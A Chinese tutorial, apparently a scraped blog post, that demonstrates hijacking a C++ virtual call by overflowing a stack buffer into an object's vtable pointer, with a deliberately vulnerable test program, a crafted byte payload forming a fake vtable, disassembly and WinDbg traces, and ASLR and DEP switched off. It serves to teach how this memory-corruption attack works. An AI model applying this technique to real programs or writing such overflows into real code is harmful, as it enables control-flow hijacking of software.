天天看点

C++溢出对象虚函数表指针

    C++一特性是通过virtual关键字实现运行时多态,虽然自己用到这个关键字的机会不多,但很多引用的第三方库会大量使用这个关键字,比如MFC...如果某个函数由virtual关键字修饰,并且通过指针方式调用,则由编译器实现运行时多态,也是本文溢出虚函数表并加以利用的前提条件。虚表的概念可以参考这篇文章:​​C++虚表和多态​​,在这篇文章里就不再过多解释了。

    文章开头提到了能完成溢出利用的前提条件,看下Object.Function()调用方式和ObjectPtr->Function()调用方式的差别,源码如下:

class base
{
public:
  virtual void test()
  {
    printf("%s\n","base:test");
  }
};

int main()
{
  base obj1;
  base* objPtr = &obj1;

  obj1.test(); //普通调用方式
  objPtr->test(); //运行时多态
  return 0;
}      

截取关键部分的反汇编代码:

base* objPtr = &obj1;
00401026  lea         eax,[obj1]  
00401029  mov         dword ptr [objPtr],eax  

  obj1.test();
0040102C  lea         ecx,[obj1]  
0040102F  call        base::test (401090h)  // 1)对应的OpCode为0x0040102F:e8 5c 00 00 00
  objPtr->test();
00401034  mov         eax,dword ptr [objPtr]  
00401037  mov         edx,dword ptr [eax]  
00401039  mov         esi,esp  
0040103B  mov         ecx,dword ptr [objPtr]  
0040103E  mov         eax,dword ptr [edx]  
00401040  call        eax  // 2)      

反汇编代码call base::test (401090h)的调用目标就是虚函数test所在的地址(为了编译演示效果,我已关闭链接选项中的增量链接):

virtual void test()
  {
00401090  push        ebp  
00401091  mov         ebp,esp  
00401093  sub         esp,0CCh  
00401099  push        ebx  
0040109A  push        esi  
0040109B  push        edi  
0040109C  push        ecx  
0040109D  lea         edi,[ebp-0CCh]  
004010A3  mov         ecx,33h  
004010A8  mov         eax,0CCCCCCCCh  
004010AD  rep stos    dword ptr es:[edi]  
004010AF  pop         ecx  
004010B0  mov         dword ptr [ebp-8],ecx      

    从这段代码可以看到这些信息:

这段是我自己主观判断的)灵活性给我们带来了利用的机会。

     上面已经知道了2种调用机制的差别,现在将重点放到运行时多态的实现上。(为了行文方便,这里容我假设你已经阅读了<C++虚表和多态>一文,并对虚表机制有一定了解)。先看下Obj1对象的内存分布图:

C++溢出对象虚函数表指针

图中显示Obj1对象的虚表存在于Obj1对象外部(按我调试的结论,虚表是类对象所共有,存在于PE文件rodata节中,因为每次修改虚表都会引起访存异常。),在对象内部仅保留一个指针成员指向该共有虚表。如果让指针指向错误的地方----比如我们伪造的虚表,则程序会不假思索的去伪造的虚表取虚函数地址并执行。

    鉴于这种猜测,我们动手尝试覆盖Obj1对象的虚表,思路如下:先在栈上开辟一个数组,紧接着创建obj1对象,然后溢出数组直到Obj1对象虚表指针所在的内存。修改后的代码如下:

class base
{
public:
<span > </span>unsigned char buff[4];
<span > </span>base()
<span > </span>{
<span >   </span>memset(buff,0xAA,4);
<span > </span>}
<span > </span>virtual void test()
<span > </span>{
<span >   </span>printf("%s\n","base:test");
<span > </span>}
};


void fakeFunc()
{
<span >   </span>printf("%s\n","fakeFunc");
}
unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
<span >     </span>'\xcc','\xcc','\xcc','\xcc',
<span >     </span>'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
<span >     </span>'\x08','\xff','\x12','\x00'};
int main()
{
<span > </span>base* objPtr;
<span > </span>base obj1;
<span > </span>unsigned char buf[8] = {0};


<span > </span>objPtr = &obj1;
<span > </span>memcpy(buf,shellcode,0x14);


<span > </span>objPtr->test();
<span > </span>return 0;
}      

调试查看变量obj1和buf的内存分布情况:

<pre name="code" class="cpp">0:000> dd obj1 l1
0012ff18  0043b1d4
0:000> dd buf 
0012ff08  00000000 00000000 cccccccc cccccccc 
0012ff18  0043b1d4 aaaaaaaa cccccccc cccccccc      

从windbg返回的结果看,buf后面紧贴着0x8B的0xcc,这是变量保存区,由vs编译生成的gap,用于检测栈溢出,紧随其后的0x012ff18是obj1对象所在内存区,这个地址同时也是obj1对象的虚表指针所在,只要巧妙的构造copy给buf的内容,就能使objPtr->test()去执行fakeFunc函数。为了便于试验中构造shellcode,设置VS链接选项随机基质和数据执行保护都为No。

我构造用以溢出buf的缓存区的内容为:

unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',

'\xcc','\xcc','\xcc','\xcc',

'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',

'\x08','\xff','\x12','\x00'};

shellcode在这有2个作用:1)很明显的一点溢出buf到obj1所在地址;2)shellcode前4B充当虚函数表,当然这个表的内容比较单一,只有一个表项,表项内容是fakeFunc的地址(见下面的windbg输出结果)。这部分内容我用红色字体标示:'\x00','\x10','\x40','\x00'(Intel小端序),这个需要读者按照自己实际情况修改。

0:000> u fakeFunc
00401000 55              push    ebp
00401001 8bec            mov     ebp,esp      

绿色字体部分:

'\x08','\xff','\x12','\x00',这4B正好覆盖obj1的虚函数表指针:

这是覆盖前buf和Obj1的内存情况:

0:000> dd buf L8
0012ff08  00000000 00000000 cccccccc cccccccc
0012ff18  0043b1c0 aaaaaaaa cccccccc cccccccc      

这是执行memcpy之后覆盖Obj1的情况:

0:000> dd buf L8
0012ff08  00401000 cccccccc cccccccc cccccccc
0012ff18  0012ff08 aaaaaaaa cccccccc cccccccc      

最后,看下覆盖后程序objPtr->test()执行情况:

C++溢出对象虚函数表指针

图中红框是objPtr->test()对应的反汇编代码,我们单步执行查看结果:

0:000> t
virtual!main+0x5c:
004010ac 8b10            mov     edx,dword ptr [eax]  ds:0023:0012ff18=0012ff08
0:000> r eax
eax=0012ff18      

1.这步是取objPtr指针地址,eax=0x12ff18,对应objPtr对象起址,同时是虚函数表指针地址

0:000> p
virtual!main+0x5e:
004010ae 8bf4            mov     esi,esp
0:000> r edx
edx=0012ff08      

2.这步是从虚函数表指针取虚表地址到edx

004010b3 8b02            mov     eax,dword ptr [edx]  ds:0023:0012ff08={virtual!fakeFunc (00401000)}
0:000> p
eip=004010b5 esp=0012fe38 ebp=0012ff34
virtual!main+0x65:
004010b5 ffd0            call    eax {virtual!fakeFunc (00401000)}      

3.跳过_chkesp相关的代码,继续执行的结果。

前面说过当前虚表中只有一项,当前edx存放虚表地址,因此[edx]中的值存了被伪造的虚函数的地址0x401000,将其存放到eax

0:000> r eax
eax=00401000      

之后,F5运行,查看结果,已经跳转到fakeFunc中:

C++溢出对象虚函数表指针

继续阅读